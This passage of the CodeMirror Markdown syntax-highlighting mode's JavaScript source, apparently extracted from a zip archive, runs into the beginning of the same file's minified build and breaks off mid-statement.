    var maxNonCodeIndentation = (state.listStack[state.listStack.length -
1] || 0) + 3;

    state.indentedCode = false;

    var lineIndentation = state.indentation;
    // compute once per line (on first token)
    if (state.indentationDiff === null) {
      state.indentationDiff = state.indentation;
      if (prevLineIsList) {
        state.list = null;
        // While this list item's marker's indentation is less
than the deepest
        //  list item's content's indentation,pop the deepest
list item
        //  indentation off the stack, and update block indentation state
        while (lineIndentation < state.listStack[state.listStack.length
- 1]) {
          state.listStack.pop();
          if (state.listStack.length) {
            state.indentation = state.listStack[state.listStack.length -
1];
          // less than the first list's indent -> the line is no
longer a list
          } else {
            state.list = false;
          }
        }
        if (state.list !== false) {
          state.indentationDiff = lineIndentation -
state.listStack[state.listStack.length - 1]
        }
      }
    }

    // not comprehensive (currently only for setext detection purposes)
    var allowsInlineContinuation = (
        !prevLineLineIsEmpty && !prevLineIsHr &&
!state.prevLine.header &&
        (!prevLineIsList || !prevLineIsIndentedCode) &&
        !state.prevLine.fencedCodeEnd
    );

    var isHr = (state.list === false || prevLineIsHr ||
prevLineLineIsEmpty) &&
      state.indentation <= maxNonCodeIndentation &&
stream.match(hrRE);

    var match = null;
    if (state.indentationDiff >= 4 && (prevLineIsIndentedCode ||
state.prevLine.fencedCodeEnd ||
         state.prevLine.header || prevLineLineIsEmpty)) {
      stream.skipToEnd();
      state.indentedCode = true;
      return tokenTypes.code;
    } else if (stream.eatSpace()) {
      return null;
    } else if (firstTokenOnLine && state.indentation <=
maxNonCodeIndentation && (match = stream.match(atxHeaderRE))
&& match[1].length <= 6) {
      state.quote = 0;
      state.header = match[1].length;
      state.thisLine.header = true;
      if (modeCfg.highlightFormatting) state.formatting =
"header";
      state.f = state.inline;
      return getType(state);
    } else if (state.indentation <= maxNonCodeIndentation &&
stream.eat('>')) {
      state.quote = firstTokenOnLine ? 1 : state.quote + 1;
      if (modeCfg.highlightFormatting) state.formatting =
"quote";
      stream.eatSpace();
      return getType(state);
    } else if (!isHr && !state.setext && firstTokenOnLine
&& state.indentation <= maxNonCodeIndentation && (match
= stream.match(listRE))) {
      var listType = match[1] ? "ol" : "ul";

      state.indentation = lineIndentation + stream.current().length;
      state.list = true;
      state.quote = 0;

      // Add this list item's content's indentation to the stack
      state.listStack.push(state.indentation);
      // Reset inline styles which shouldn't propagate aross list
items
      state.em = false;
      state.strong = false;
      state.code = false;
      state.strikethrough = false;

      if (modeCfg.taskLists && stream.match(taskListRE, false)) {
        state.taskList = true;
      }
      state.f = state.inline;
      if (modeCfg.highlightFormatting) state.formatting =
["list", "list-" + listType];
      return getType(state);
    } else if (firstTokenOnLine && state.indentation <=
maxNonCodeIndentation && (match = stream.match(fencedCodeRE,
true))) {
      state.quote = 0;
      state.fencedEndRE = new RegExp(match[1] + "+ *$");
      // try switching mode
      state.localMode = modeCfg.fencedCodeBlockHighlighting &&
getMode(match[2] || modeCfg.fencedCodeBlockDefaultMode );
      if (state.localMode) state.localState =
CodeMirror.startState(state.localMode);
      state.f = state.block = local;
      if (modeCfg.highlightFormatting) state.formatting =
"code-block";
      state.code = -1
      return getType(state);
    // SETEXT has lowest block-scope precedence after HR, so check it after
    //  the others (code, blockquote, list...)
    } else if (
      // if setext set, indicates line after ---/===
      state.setext || (
        // line before ---/===
        (!allowsInlineContinuation || !prevLineIsList) &&
!state.quote && state.list === false &&
        !state.code && !isHr &&
!linkDefRE.test(stream.string) &&
        (match = stream.lookAhead(1)) && (match =
match.match(setextHeaderRE))
      )
    ) {
      if ( !state.setext ) {
        state.header = match[0].charAt(0) == '=' ? 1 : 2;
        state.setext = state.header;
      } else {
        state.header = state.setext;
        // has no effect on type so we can reset it now
        state.setext = 0;
        stream.skipToEnd();
        if (modeCfg.highlightFormatting) state.formatting =
"header";
      }
      state.thisLine.header = true;
      state.f = state.inline;
      return getType(state);
    } else if (isHr) {
      stream.skipToEnd();
      state.hr = true;
      state.thisLine.hr = true;
      return tokenTypes.hr;
    } else if (stream.peek() === '[') {
      return switchInline(stream, state, footnoteLink);
    }

    return switchInline(stream, state, state.inline);
  }

  function htmlBlock(stream, state) {
    var style = htmlMode.token(stream, state.htmlState);
    if (!htmlModeMissing) {
      var inner = CodeMirror.innerMode(htmlMode, state.htmlState)
      if ((inner.mode.name == "xml" &&
inner.state.tagStart === null &&
           (!inner.state.context && inner.state.tokenize.isInText))
||
          (state.md_inside &&
stream.current().indexOf(">") > -1)) {
        state.f = inlineNormal;
        state.block = blockNormal;
        state.htmlState = null;
      }
    }
    return style;
  }

  function local(stream, state) {
    var currListInd = state.listStack[state.listStack.length - 1] || 0;
    var hasExitedList = state.indentation < currListInd;
    var maxFencedEndInd = currListInd + 3;
    if (state.fencedEndRE && state.indentation <=
maxFencedEndInd && (hasExitedList ||
stream.match(state.fencedEndRE))) {
      if (modeCfg.highlightFormatting) state.formatting =
"code-block";
      var returnType;
      if (!hasExitedList) returnType = getType(state)
      state.localMode = state.localState = null;
      state.block = blockNormal;
      state.f = inlineNormal;
      state.fencedEndRE = null;
      state.code = 0
      state.thisLine.fencedCodeEnd = true;
      if (hasExitedList) return switchBlock(stream, state, state.block);
      return returnType;
    } else if (state.localMode) {
      return state.localMode.token(stream, state.localState);
    } else {
      stream.skipToEnd();
      return tokenTypes.code;
    }
  }

  // Inline
  function getType(state) {
    var styles = [];

    if (state.formatting) {
      styles.push(tokenTypes.formatting);

      if (typeof state.formatting === "string") state.formatting
= [state.formatting];

      for (var i = 0; i < state.formatting.length; i++) {
        styles.push(tokenTypes.formatting + "-" +
state.formatting[i]);

        if (state.formatting[i] === "header") {
          styles.push(tokenTypes.formatting + "-" +
state.formatting[i] + "-" + state.header);
        }

        // Add `formatting-quote` and `formatting-quote-#` for blockquotes
        // Add `error` instead if the maximum blockquote nesting depth is
passed
        if (state.formatting[i] === "quote") {
          if (!modeCfg.maxBlockquoteDepth || modeCfg.maxBlockquoteDepth
>= state.quote) {
            styles.push(tokenTypes.formatting + "-" +
state.formatting[i] + "-" + state.quote);
          } else {
            styles.push("error");
          }
        }
      }
    }

    if (state.taskOpen) {
      styles.push("meta");
      return styles.length ? styles.join(' ') : null;
    }
    if (state.taskClosed) {
      styles.push("property");
      return styles.length ? styles.join(' ') : null;
    }

    if (state.linkHref) {
      styles.push(tokenTypes.linkHref, "url");
    } else { // Only apply inline styles to non-url text
      if (state.strong) { styles.push(tokenTypes.strong); }
      if (state.em) { styles.push(tokenTypes.em); }
      if (state.strikethrough) { styles.push(tokenTypes.strikethrough); }
      if (state.emoji) { styles.push(tokenTypes.emoji); }
      if (state.linkText) { styles.push(tokenTypes.linkText); }
      if (state.code) { styles.push(tokenTypes.code); }
      if (state.image) { styles.push(tokenTypes.image); }
      if (state.imageAltText) { styles.push(tokenTypes.imageAltText,
"link"); }
      if (state.imageMarker) { styles.push(tokenTypes.imageMarker); }
    }

    if (state.header) { styles.push(tokenTypes.header, tokenTypes.header +
"-" + state.header); }

    if (state.quote) {
      styles.push(tokenTypes.quote);

      // Add `quote-#` where the maximum for `#` is
modeCfg.maxBlockquoteDepth
      if (!modeCfg.maxBlockquoteDepth || modeCfg.maxBlockquoteDepth >=
state.quote) {
        styles.push(tokenTypes.quote + "-" + state.quote);
      } else {
        styles.push(tokenTypes.quote + "-" +
modeCfg.maxBlockquoteDepth);
      }
    }

    if (state.list !== false) {
      var listMod = (state.listStack.length - 1) % 3;
      if (!listMod) {
        styles.push(tokenTypes.list1);
      } else if (listMod === 1) {
        styles.push(tokenTypes.list2);
      } else {
        styles.push(tokenTypes.list3);
      }
    }

    if (state.trailingSpaceNewLine) {
      styles.push("trailing-space-new-line");
    } else if (state.trailingSpace) {
      styles.push("trailing-space-" + (state.trailingSpace % 2 ?
"a" : "b"));
    }

    return styles.length ? styles.join(' ') : null;
  }

  function handleText(stream, state) {
    if (stream.match(textRE, true)) {
      return getType(state);
    }
    return undefined;
  }

  function inlineNormal(stream, state) {
    var style = state.text(stream, state);
    if (typeof style !== 'undefined')
      return style;

    if (state.list) { // List marker (*, +, -, 1., etc)
      state.list = null;
      return getType(state);
    }

    if (state.taskList) {
      var taskOpen = stream.match(taskListRE, true)[1] === " ";
      if (taskOpen) state.taskOpen = true;
      else state.taskClosed = true;
      if (modeCfg.highlightFormatting) state.formatting = "task";
      state.taskList = false;
      return getType(state);
    }

    state.taskOpen = false;
    state.taskClosed = false;

    if (state.header && stream.match(/^#+$/, true)) {
      if (modeCfg.highlightFormatting) state.formatting =
"header";
      return getType(state);
    }

    var ch = stream.next();

    // Matches link titles present on next line
    if (state.linkTitle) {
      state.linkTitle = false;
      var matchCh = ch;
      if (ch === '(') {
        matchCh = ')';
      }
      matchCh = (matchCh+'').replace(/([.?*+^\[\]\\(){}|-])/g,
"\\$1");
      var regex = '^\\s*(?:[^' + matchCh +
'\\\\]+|\\\\\\\\|\\\\.)' + matchCh;
      if (stream.match(new RegExp(regex), true)) {
        return tokenTypes.linkHref;
      }
    }

    // If this block is changed, it may need to be updated in GFM mode
    if (ch === '`') {
      var previousFormatting = state.formatting;
      if (modeCfg.highlightFormatting) state.formatting = "code";
      stream.eatWhile('`');
      var count = stream.current().length
      if (state.code == 0 && (!state.quote || count == 1)) {
        state.code = count
        return getType(state)
      } else if (count == state.code) { // Must be exact
        var t = getType(state)
        state.code = 0
        return t
      } else {
        state.formatting = previousFormatting
        return getType(state)
      }
    } else if (state.code) {
      return getType(state);
    }

    if (ch === '\\') {
      stream.next();
      if (modeCfg.highlightFormatting) {
        var type = getType(state);
        var formattingEscape = tokenTypes.formatting + "-escape";
        return type ? type + " " + formattingEscape :
formattingEscape;
      }
    }

    if (ch === '!' && stream.match(/\[[^\]]*\]
?(?:\(|\[)/, false)) {
      state.imageMarker = true;
      state.image = true;
      if (modeCfg.highlightFormatting) state.formatting =
"image";
      return getType(state);
    }

    if (ch === '[' && state.imageMarker &&
stream.match(/[^\]]*\](\(.*?\)| ?\[.*?\])/, false)) {
      state.imageMarker = false;
      state.imageAltText = true
      if (modeCfg.highlightFormatting) state.formatting =
"image";
      return getType(state);
    }

    if (ch === ']' && state.imageAltText) {
      if (modeCfg.highlightFormatting) state.formatting =
"image";
      var type = getType(state);
      state.imageAltText = false;
      state.image = false;
      state.inline = state.f = linkHref;
      return type;
    }

    if (ch === '[' && !state.image) {
      if (state.linkText && stream.match(/^.*?\]/)) return
getType(state)
      state.linkText = true;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      return getType(state);
    }

    if (ch === ']' && state.linkText) {
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var type = getType(state);
      state.linkText = false;
      state.inline = state.f = stream.match(/\(.*?\)| ?\[.*?\]/, false) ?
linkHref : inlineNormal
      return type;
    }

    if (ch === '<' &&
stream.match(/^(https?|ftps?):\/\/(?:[^\\>]|\\.)+>/, false)) {
      state.f = state.inline = linkInline;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var type = getType(state);
      if (type){
        type += " ";
      } else {
        type = "";
      }
      return type + tokenTypes.linkInline;
    }

    if (ch === '<' && stream.match(/^[^>
\\]+@(?:[^\\>]|\\.)+>/, false)) {
      state.f = state.inline = linkInline;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var type = getType(state);
      if (type){
        type += " ";
      } else {
        type = "";
      }
      return type + tokenTypes.linkEmail;
    }

    if (modeCfg.xml && ch === '<' &&
stream.match(/^(!--|\?|!\[CDATA\[|[a-z][a-z0-9-]*(?:\s+[a-z_:.\-]+(?:\s*=\s*[^>]+)?)*\s*(?:>|$))/i,
false)) {
      var end = stream.string.indexOf(">", stream.pos);
      if (end != -1) {
        var atts = stream.string.substring(stream.start, end);
        if
(/markdown\s*=\s*('|"){0,1}1('|"){0,1}/.test(atts))
state.md_inside = true;
      }
      stream.backUp(1);
      state.htmlState = CodeMirror.startState(htmlMode);
      return switchBlock(stream, state, htmlBlock);
    }

    if (modeCfg.xml && ch === '<' &&
stream.match(/^\/\w*?>/)) {
      state.md_inside = false;
      return "tag";
    } else if (ch === "*" || ch === "_") {
      var len = 1, before = stream.pos == 1 ? " " :
stream.string.charAt(stream.pos - 2)
      while (len < 3 && stream.eat(ch)) len++
      var after = stream.peek() || " "
      // See http://spec.commonmark.org/0.27/#emphasis-and-strong-emphasis
      var leftFlanking = !/\s/.test(after) &&
(!punctuation.test(after) || /\s/.test(before) || punctuation.test(before))
      var rightFlanking = !/\s/.test(before) &&
(!punctuation.test(before) || /\s/.test(after) || punctuation.test(after))
      var setEm = null, setStrong = null
      if (len % 2) { // Em
        if (!state.em && leftFlanking && (ch ===
"*" || !rightFlanking || punctuation.test(before)))
          setEm = true
        else if (state.em == ch && rightFlanking && (ch ===
"*" || !leftFlanking || punctuation.test(after)))
          setEm = false
      }
      if (len > 1) { // Strong
        if (!state.strong && leftFlanking && (ch ===
"*" || !rightFlanking || punctuation.test(before)))
          setStrong = true
        else if (state.strong == ch && rightFlanking && (ch
=== "*" || !leftFlanking || punctuation.test(after)))
          setStrong = false
      }
      if (setStrong != null || setEm != null) {
        if (modeCfg.highlightFormatting) state.formatting = setEm == null ?
"strong" : setStrong == null ? "em" : "strong
em"
        if (setEm === true) state.em = ch
        if (setStrong === true) state.strong = ch
        var t = getType(state)
        if (setEm === false) state.em = false
        if (setStrong === false) state.strong = false
        return t
      }
    } else if (ch === ' ') {
      if (stream.eat('*') || stream.eat('_')) { //
Probably surrounded by spaces
        if (stream.peek() === ' ') { // Surrounded by spaces,
ignore
          return getType(state);
        } else { // Not surrounded by spaces, back up pointer
          stream.backUp(1);
        }
      }
    }

    if (modeCfg.strikethrough) {
      if (ch === '~' && stream.eatWhile(ch)) {
        if (state.strikethrough) {// Remove strikethrough
          if (modeCfg.highlightFormatting) state.formatting =
"strikethrough";
          var t = getType(state);
          state.strikethrough = false;
          return t;
        } else if (stream.match(/^[^\s]/, false)) {// Add strikethrough
          state.strikethrough = true;
          if (modeCfg.highlightFormatting) state.formatting =
"strikethrough";
          return getType(state);
        }
      } else if (ch === ' ') {
        if (stream.match(/^~~/, true)) { // Probably surrounded by space
          if (stream.peek() === ' ') { // Surrounded by spaces,
ignore
            return getType(state);
          } else { // Not surrounded by spaces, back up pointer
            stream.backUp(2);
          }
        }
      }
    }

    if (modeCfg.emoji && ch === ":" &&
stream.match(/^(?:[a-z_\d+][a-z_\d+-]*|\-[a-z_\d+][a-z_\d+-]*):/)) {
      state.emoji = true;
      if (modeCfg.highlightFormatting) state.formatting =
"emoji";
      var retType = getType(state);
      state.emoji = false;
      return retType;
    }

    if (ch === ' ') {
      if (stream.match(/^ +$/, false)) {
        state.trailingSpace++;
      } else if (state.trailingSpace) {
        state.trailingSpaceNewLine = true;
      }
    }

    return getType(state);
  }

  function linkInline(stream, state) {
    var ch = stream.next();

    if (ch === ">") {
      state.f = state.inline = inlineNormal;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var type = getType(state);
      if (type){
        type += " ";
      } else {
        type = "";
      }
      return type + tokenTypes.linkInline;
    }

    stream.match(/^[^>]+/, true);

    return tokenTypes.linkInline;
  }

  function linkHref(stream, state) {
    // Check if space, and return NULL if so (to avoid marking the space)
    if(stream.eatSpace()){
      return null;
    }
    var ch = stream.next();
    if (ch === '(' || ch === '[') {
      state.f = state.inline = getLinkHrefInside(ch === "(" ?
")" : "]");
      if (modeCfg.highlightFormatting) state.formatting =
"link-string";
      state.linkHref = true;
      return getType(state);
    }
    return 'error';
  }

  var linkRE = {
    ")": /^(?:[^\\\(\)]|\\.|\((?:[^\\\(\)]|\\.)*\))*?(?=\))/,
    "]": /^(?:[^\\\[\]]|\\.|\[(?:[^\\\[\]]|\\.)*\])*?(?=\])/
  }

  function getLinkHrefInside(endChar) {
    return function(stream, state) {
      var ch = stream.next();

      if (ch === endChar) {
        state.f = state.inline = inlineNormal;
        if (modeCfg.highlightFormatting) state.formatting =
"link-string";
        var returnState = getType(state);
        state.linkHref = false;
        return returnState;
      }

      stream.match(linkRE[endChar])
      state.linkHref = true;
      return getType(state);
    };
  }

  function footnoteLink(stream, state) {
    if (stream.match(/^([^\]\\]|\\.)*\]:/, false)) {
      state.f = footnoteLinkInside;
      stream.next(); // Consume [
      if (modeCfg.highlightFormatting) state.formatting = "link";
      state.linkText = true;
      return getType(state);
    }
    return switchInline(stream, state, inlineNormal);
  }

  function footnoteLinkInside(stream, state) {
    if (stream.match(/^\]:/, true)) {
      state.f = state.inline = footnoteUrl;
      if (modeCfg.highlightFormatting) state.formatting = "link";
      var returnType = getType(state);
      state.linkText = false;
      return returnType;
    }

    stream.match(/^([^\]\\]|\\.)+/, true);

    return tokenTypes.linkText;
  }

  function footnoteUrl(stream, state) {
    // Check if space, and return NULL if so (to avoid marking the space)
    if(stream.eatSpace()){
      return null;
    }
    // Match URL
    stream.match(/^[^\s]+/, true);
    // Check for link title
    if (stream.peek() === undefined) { // End of line, set flag to check
next line
      state.linkTitle = true;
    } else { // More content on line, check if link title
     
stream.match(/^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/,
true);
    }
    state.f = state.inline = inlineNormal;
    return tokenTypes.linkHref + " url";
  }

  var mode = {
    startState: function() {
      return {
        f: blockNormal,

        prevLine: {stream: null},
        thisLine: {stream: null},

        block: blockNormal,
        htmlState: null,
        indentation: 0,

        inline: inlineNormal,
        text: handleText,

        formatting: false,
        linkText: false,
        linkHref: false,
        linkTitle: false,
        code: 0,
        em: false,
        strong: false,
        header: 0,
        setext: 0,
        hr: false,
        taskList: false,
        list: false,
        listStack: [],
        quote: 0,
        trailingSpace: 0,
        trailingSpaceNewLine: false,
        strikethrough: false,
        emoji: false,
        fencedEndRE: null
      };
    },

    copyState: function(s) {
      return {
        f: s.f,

        prevLine: s.prevLine,
        thisLine: s.thisLine,

        block: s.block,
        htmlState: s.htmlState && CodeMirror.copyState(htmlMode,
s.htmlState),
        indentation: s.indentation,

        localMode: s.localMode,
        localState: s.localMode ? CodeMirror.copyState(s.localMode,
s.localState) : null,

        inline: s.inline,
        text: s.text,
        formatting: false,
        linkText: s.linkText,
        linkTitle: s.linkTitle,
        linkHref: s.linkHref,
        code: s.code,
        em: s.em,
        strong: s.strong,
        strikethrough: s.strikethrough,
        emoji: s.emoji,
        header: s.header,
        setext: s.setext,
        hr: s.hr,
        taskList: s.taskList,
        list: s.list,
        listStack: s.listStack.slice(0),
        quote: s.quote,
        indentedCode: s.indentedCode,
        trailingSpace: s.trailingSpace,
        trailingSpaceNewLine: s.trailingSpaceNewLine,
        md_inside: s.md_inside,
        fencedEndRE: s.fencedEndRE
      };
    },

    token: function(stream, state) {

      // Reset state.formatting
      state.formatting = false;

      if (stream != state.thisLine.stream) {
        state.header = 0;
        state.hr = false;

        if (stream.match(/^\s*$/, true)) {
          blankLine(state);
          return null;
        }

        state.prevLine = state.thisLine
        state.thisLine = {stream: stream}

        // Reset state.taskList
        state.taskList = false;

        // Reset state.trailingSpace
        state.trailingSpace = 0;
        state.trailingSpaceNewLine = false;

        if (!state.localState) {
          state.f = state.block;
          if (state.f != htmlBlock) {
            var indentation = stream.match(/^\s*/, true)[0].replace(/\t/g,
expandedTab).length;
            state.indentation = indentation;
            state.indentationDiff = null;
            if (indentation > 0) return null;
          }
        }
      }
      return state.f(stream, state);
    },

    innerMode: function(state) {
      if (state.block == htmlBlock) return {state: state.htmlState, mode:
htmlMode};
      if (state.localState) return {state: state.localState, mode:
state.localMode};
      return {state: state, mode: mode};
    },

    indent: function(state, textAfter, line) {
      if (state.block == htmlBlock && htmlMode.indent) return
htmlMode.indent(state.htmlState, textAfter, line)
      if (state.localState && state.localMode.indent) return
state.localMode.indent(state.localState, textAfter, line)
      return CodeMirror.Pass
    },

    blankLine: blankLine,

    getType: getType,

    blockCommentStart: "<!--",
    blockCommentEnd: "-->",
    closeBrackets: "()[]{}''\"\"``",
    fold: "markdown"
  };
  return mode;
}, "xml");

CodeMirror.defineMIME("text/markdown", "markdown");

CodeMirror.defineMIME("text/x-markdown", "markdown");

});
PKI��[(���:�:(codemirror/mode/markdown/markdown.min.jsnu�[���!(function(a){"object"==typeof
exports&&"object"==typeof
module?a(require("../../lib/codemirror"),require("../xml/xml"),require("../meta")):"function"==typeof
define&&define.amd?define(["../../lib/codemirror","../xml/xml","../meta"],a):a(CodeMirror)})((function(a){"use
strict";a.defineMode("markdown",(function(b,c){function
d(c){if(a.findModeByName){var
d=a.findModeByName(c);d&&(c=d.mime||d.mimes[0])}var
e=a.getMode(b,c);return"null"==e.name?null:e}function
e(a,b,c){return b.f=b.inline=c,c(a,b)}function f(a,b,c){return
b.f=b.block=c,c(a,b)}function g(a){return!a||!/\S/.test(a.string)}function
h(b){if(b.linkTitle=!1,b.linkHref=!1,b.linkText=!1,b.em=!1,b.strong=!1,b.strikethrough=!1,b.quote=0,b.indentedCode=!1,b.f==j){var
c=v;if(!c){var
d=a.innerMode(u,b.htmlState);c="xml"==d.mode.name&&null===d.state.tagStart&&!d.state.context&&d.state.tokenize.isInText}c&&(b.f=n,b.block=i,b.htmlState=null)}return
b.trailingSpace=0,b.trailingSpaceNewLine=!1,b.prevLine=b.thisLine,b.thisLine={stream:null},null}function
i(b,f){var
h=b.column()===f.indentation,i=g(f.prevLine.stream),j=f.indentedCode,m=f.prevLine.hr,n=!1!==f.list,o=(f.listStack[f.listStack.length-1]||0)+3;f.indentedCode=!1;var
p=f.indentation;if(null===f.indentationDiff&&(f.indentationDiff=f.indentation,n)){for(f.list=null;p<f.listStack[f.listStack.length-1];)f.listStack.pop(),f.listStack.length?f.indentation=f.listStack[f.listStack.length-1]:f.list=!1;!1!==f.list&&(f.indentationDiff=p-f.listStack[f.listStack.length-1])}var
q=!(i||m||f.prevLine.header||n&&j||f.prevLine.fencedCodeEnd),s=(!1===f.list||m||i)&&f.indentation<=o&&b.match(y),t=null;if(f.indentationDiff>=4&&(j||f.prevLine.fencedCodeEnd||f.prevLine.header||i))return
b.skipToEnd(),f.indentedCode=!0,w.code;if(b.eatSpace())return
null;if(h&&f.indentation<=o&&(t=b.match(B))&&t[1].length<=6)return
f.quote=0,f.header=t[1].length,f.thisLine.header=!0,c.highlightFormatting&&(f.formatting="header"),f.f=f.inline,l(f);if(f.indentation<=o&&b.eat(">"))return
f.quote=h?1:f.quote+1,c.highlightFormatting&&(f.formatting="quote"),b.eatSpace(),l(f);if(!s&&!f.setext&&h&&f.indentation<=o&&(t=b.match(z))){var
u=t[1]?"ol":"ul";return
f.indentation=p+b.current().length,f.list=!0,f.quote=0,f.listStack.push(f.indentation),f.em=!1,f.strong=!1,f.code=!1,f.strikethrough=!1,c.taskLists&&b.match(A,!1)&&(f.taskList=!0),f.f=f.inline,c.highlightFormatting&&(f.formatting=["list","list-"+u]),l(f)}return
h&&f.indentation<=o&&(t=b.match(E,!0))?(f.quote=0,f.fencedEndRE=new
RegExp(t[1]+"+
*$"),f.localMode=c.fencedCodeBlockHighlighting&&d(t[2]||c.fencedCodeBlockDefaultMode),f.localMode&&(f.localState=a.startState(f.localMode)),f.f=f.block=k,c.highlightFormatting&&(f.formatting="code-block"),f.code=-1,l(f)):f.setext||!(q&&n||f.quote||!1!==f.list||f.code||s||F.test(b.string))&&(t=b.lookAhead(1))&&(t=t.match(C))?(f.setext?(f.header=f.setext,f.setext=0,b.skipToEnd(),c.highlightFormatting&&(f.formatting="header")):(f.header="="==t[0].charAt(0)?1:2,f.setext=f.header),f.thisLine.header=!0,f.f=f.inline,l(f)):s?(b.skipToEnd(),f.hr=!0,f.thisLine.hr=!0,w.hr):"["===b.peek()?e(b,f,r):e(b,f,f.inline)}function
j(b,c){var d=u.token(b,c.htmlState);if(!v){var
e=a.innerMode(u,c.htmlState);("xml"==e.mode.name&&null===e.state.tagStart&&!e.state.context&&e.state.tokenize.isInText||c.md_inside&&b.current().indexOf(">")>-1)&&(c.f=n,c.block=i,c.htmlState=null)}return
d}function k(a,b){var
d=b.listStack[b.listStack.length-1]||0,e=b.indentation<d,g=d+3;if(b.fencedEndRE&&b.indentation<=g&&(e||a.match(b.fencedEndRE))){c.highlightFormatting&&(b.formatting="code-block");var
h;return
e||(h=l(b)),b.localMode=b.localState=null,b.block=i,b.f=n,b.fencedEndRE=null,b.code=0,b.thisLine.fencedCodeEnd=!0,e?f(a,b,b.block):h}return
b.localMode?b.localMode.token(a,b.localState):(a.skipToEnd(),w.code)}function
l(a){var
b=[];if(a.formatting){b.push(w.formatting),"string"==typeof
a.formatting&&(a.formatting=[a.formatting]);for(var
d=0;d<a.formatting.length;d++)b.push(w.formatting+"-"+a.formatting[d]),"header"===a.formatting[d]&&b.push(w.formatting+"-"+a.formatting[d]+"-"+a.header),"quote"===a.formatting[d]&&(!c.maxBlockquoteDepth||c.maxBlockquoteDepth>=a.quote?b.push(w.formatting+"-"+a.formatting[d]+"-"+a.quote):b.push("error"))}if(a.taskOpen)return
b.push("meta"),b.length?b.join("
"):null;if(a.taskClosed)return
b.push("property"),b.length?b.join("
"):null;if(a.linkHref?b.push(w.linkHref,"url"):(a.strong&&b.push(w.strong),a.em&&b.push(w.em),a.strikethrough&&b.push(w.strikethrough),a.emoji&&b.push(w.emoji),a.linkText&&b.push(w.linkText),a.code&&b.push(w.code),a.image&&b.push(w.image),a.imageAltText&&b.push(w.imageAltText,"link"),a.imageMarker&&b.push(w.imageMarker)),a.header&&b.push(w.header,w.header+"-"+a.header),a.quote&&(b.push(w.quote),!c.maxBlockquoteDepth||c.maxBlockquoteDepth>=a.quote?b.push(w.quote+"-"+a.quote):b.push(w.quote+"-"+c.maxBlockquoteDepth)),!1!==a.list){var
e=(a.listStack.length-1)%3;e?1===e?b.push(w.list2):b.push(w.list3):b.push(w.list1)}return
a.trailingSpaceNewLine?b.push("trailing-space-new-line"):a.trailingSpace&&b.push("trailing-space-"+(a.trailingSpace%2?"a":"b")),b.length?b.join("
"):null}function m(a,b){if(a.match(D,!0))return l(b)}function
n(b,d){var e=d.text(b,d);if(void 0!==e)return e;if(d.list)return
d.list=null,l(d);if(d.taskList){return"
"===b.match(A,!0)[1]?d.taskOpen=!0:d.taskClosed=!0,c.highlightFormatting&&(d.formatting="task"),d.taskList=!1,l(d)}if(d.taskOpen=!1,d.taskClosed=!1,d.header&&b.match(/^#+$/,!0))return
c.highlightFormatting&&(d.formatting="header"),l(d);var
g=b.next();if(d.linkTitle){d.linkTitle=!1;var
h=g;"("===g&&(h=")"),h=(h+"").replace(/([.?*+^\[\]\\(){}|-])/g,"\\$1");var
i="^\\s*(?:[^"+h+"\\\\]+|\\\\\\\\|\\\\.)"+h;if(b.match(new
RegExp(i),!0))return w.linkHref}if("`"===g){var
k=d.formatting;c.highlightFormatting&&(d.formatting="code"),b.eatWhile("`");var
m=b.current().length;if(0!=d.code||d.quote&&1!=m){if(m==d.code){var
q=l(d);return d.code=0,q}return d.formatting=k,l(d)}return
d.code=m,l(d)}if(d.code)return
l(d);if("\\"===g&&(b.next(),c.highlightFormatting)){var
r=l(d),s=w.formatting+"-escape";return r?r+"
"+s:s}if("!"===g&&b.match(/\[[^\]]*\]
?(?:\(|\[)/,!1))return
d.imageMarker=!0,d.image=!0,c.highlightFormatting&&(d.formatting="image"),l(d);if("["===g&&d.imageMarker&&b.match(/[^\]]*\](\(.*?\)|
?\[.*?\])/,!1))return
d.imageMarker=!1,d.imageAltText=!0,c.highlightFormatting&&(d.formatting="image"),l(d);if("]"===g&&d.imageAltText){c.highlightFormatting&&(d.formatting="image");var
r=l(d);return
d.imageAltText=!1,d.image=!1,d.inline=d.f=p,r}if("["===g&&!d.image)return
d.linkText&&b.match(/^.*?\]/)?l(d):(d.linkText=!0,c.highlightFormatting&&(d.formatting="link"),l(d));if("]"===g&&d.linkText){c.highlightFormatting&&(d.formatting="link");var
r=l(d);return d.linkText=!1,d.inline=d.f=b.match(/\(.*?\)|
?\[.*?\]/,!1)?p:n,r}if("<"===g&&b.match(/^(https?|ftps?):\/\/(?:[^\\>]|\\.)+>/,!1)){d.f=d.inline=o,c.highlightFormatting&&(d.formatting="link");var
r=l(d);return r?r+="
":r="",r+w.linkInline}if("<"===g&&b.match(/^[^>
\\]+@(?:[^\\>]|\\.)+>/,!1)){d.f=d.inline=o,c.highlightFormatting&&(d.formatting="link");var
r=l(d);return r?r+="
":r="",r+w.linkEmail}if(c.xml&&"<"===g&&b.match(/^(!--|\?|!\[CDATA\[|[a-z][a-z0-9-]*(?:\s+[a-z_:.\-]+(?:\s*=\s*[^>]+)?)*\s*(?:>|$))/i,!1)){var
t=b.string.indexOf(">",b.pos);if(-1!=t){/markdown\s*=\s*('|"){0,1}1('|"){0,1}/.test(b.string.substring(b.start,t))&&(d.md_inside=!0)}return
b.backUp(1),d.htmlState=a.startState(u),f(b,d,j)}if(c.xml&&"<"===g&&b.match(/^\/\w*?>/))return
d.md_inside=!1,"tag";if("*"===g||"_"===g){for(var
v=1,x=1==b.pos?"
":b.string.charAt(b.pos-2);v<3&&b.eat(g);)v++;var
y=b.peek()||"
",z=!/\s/.test(y)&&(!G.test(y)||/\s/.test(x)||G.test(x)),B=!/\s/.test(x)&&(!G.test(x)||/\s/.test(y)||G.test(y)),C=null,D=null;if(v%2&&(d.em||!z||"*"!==g&&B&&!G.test(x)?d.em!=g||!B||"*"!==g&&z&&!G.test(y)||(C=!1):C=!0),v>1&&(d.strong||!z||"*"!==g&&B&&!G.test(x)?d.strong!=g||!B||"*"!==g&&z&&!G.test(y)||(D=!1):D=!0),null!=D||null!=C){c.highlightFormatting&&(d.formatting=null==C?"strong":null==D?"em":"strong
em"),!0===C&&(d.em=g),!0===D&&(d.strong=g);var
q=l(d);return!1===C&&(d.em=!1),!1===D&&(d.strong=!1),q}}else
if("
